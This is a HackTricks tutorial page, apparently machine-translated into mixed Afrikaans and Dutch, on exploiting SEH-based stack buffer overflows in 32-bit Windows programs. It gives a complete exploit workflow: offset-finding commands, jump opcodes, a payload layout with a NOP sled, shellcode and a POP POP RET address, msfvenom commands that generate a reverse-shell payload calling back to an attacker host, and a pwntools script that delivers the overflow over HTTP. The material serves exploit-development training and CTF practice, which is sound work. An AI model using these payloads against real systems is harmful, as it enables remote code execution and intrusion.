Windows SEH-gebaseerde Stack Overflow-uitbuiting (nSEH/SEH)
Reading time: 7 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
SEH-gebaseerde uitbuiting is 'n klassieke x86 Windows-tegniek wat die Structured Exception Handler-ketting benut wat op die stack gestoor is. Wanneer 'n stack buffer overflow die twee 4-byte velde oor-skryf
- nSEH: aanwyser na die volgende SEH-rekord, en
- SEH: aanwyser na die exception handler-funksie
kan 'n aanvaller beheer van die uitvoering kry deur:
- SEH op die adres van 'n POP POP RET-gadget in 'n nie-beskermde module te stel, sodat wanneer 'n uitzondering hanteer word die gadget terugkeer in deur die aanvaller beheerde bytes, en
- nSEH te gebruik om die uitvoering te herlei (gewoonlik 'n kort sprong) terug na die groot oorvloeiende buffer waar die shellcode woon.
Hierdie tegniek is spesifiek vir 32-bit prosesse (x86). Op moderne stelsels, verkies 'n module sonder SafeSEH en ASLR vir die gadget. Swak karakters sluit dikwels 0x00, 0x0a, 0x0d (NUL/CR/LF) in as gevolg van C-strings en HTTP-parsing.
Vind presiese offsets (nSEH / SEH)
- Laat die proses crash en verifieer dat die SEH-ketting oorskryf is (bv. in x32dbg/x64dbg, kyk na die SEH-view).
- Stuur 'n cykliese patroon as die oorvloeiende data en bereken die offsets van die twee dwords wat in nSEH en SEH beland.
Voorbeeld met peda/GEF/pwntools op 'n 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Valideer deur merkers by daardie posisies te plaas (bv., nSEH=b"BB", SEH=b"CC"). Hou die totale lengte konstant om die crash reproduceerbaar te maak.
Kies 'n POP POP RET (SEH gadget)
Jy benodig 'n POP POP RET-reeks om die SEH-raam af te rol en terug te keer na jou nSEH-bytes. Vind dit in 'n module sonder SafeSEH en, indien moontlik, sonder ASLR:
- Mona (Immunity/WinDbg):
!mona modules
then!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
to list POP POP RET gadgets and SafeSEH status.
Kies 'n adres wat geen badchars bevat wanneer dit little-endian geskryf word nie (bv., p32(0x004094D8)
). Voorkeur vir gadgets binne die kwesbare binary indien beskermings dit toelaat.
Jump-back-tegniek (short + near jmp)
nSEH is slegs 4 bytes, wat op die meeste plek 'n 2-byte short jump (EB xx
) plus padding toelaat. As jy honderde bytes terug moet jump om by die begin van jou buffer uit te kom, gebruik 'n 5-byte near jump net voor nSEH en chain daarna in met 'n short jump vanaf nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Voorstel vir die lay-out van 'n 1000-byte payload met nSEH by offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Uitvoeringsvloei:
- Uitsondering vind plaas, die dispatcher gebruik die oor-geskryfde SEH.
- POP POP RET ontrol in ons nSEH.
- nSEH voer
jmp short -8
uit na die 5-byte near jump. - Die near jump land by die begin van ons buffer waar die NOP sled + shellcode aangetref word.
Slegte karakters
Bou 'n volledige badchar-string en vergelyk die stapelgeheue na die crash, verwyder bytes wat deur die teiken-parser vervorm word. Vir HTTP-based overflows, \x00\x0a\x0d
word byna altyd uitgesluit.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generering (x86)
Gebruik msfvenom met jou badchars. 'n klein NOP sled help om landing-variansie te verdra.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
As dit on-the-fly gegenereer word, is die hex-formaat gerieflik om te embed en in Python te unhex:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Aflewering oor HTTP (presiese CRLF + Content-Length)
Wanneer die kwesbare vektor 'n HTTP versoekliggaam is, stel 'n rou versoek saam met presiese CRLFs en Content-Length sodat die bediener die hele oorvloeiende liggaam kan lees.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Gereedskap
- x32dbg/x64dbg om die SEH-ketting te observeer en die crash te triage.
- ERC.Xdbg (x64dbg plugin) om SEH-gadgets te enumereer:
ERC --SEH
. - Mona as 'n alternatief:
!mona modules
,!mona seh
. - nasmshell om short/near jumps te assembleer en rou opkodes te kopieer.
- pwntools om presiese netwerk-payloads te vervaardig.
Aantekeninge en kanttekeninge
- Slegs van toepassing op x86-prosesse. x64 gebruik 'n ander SEH-skema en SEH-gebaseerde exploitasie is oor die algemeen nie lewensvatbaar nie.
- Voorkeur vir gadgets in modules sonder SafeSEH en ASLR; andersins vind 'n onbeveiligde module wat in die proses gelaai is.
- Diens-watchdogs wat outomaties herbegin na 'n crash kan iteratiewe exploit-ontwikkeling vergemaklik.
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.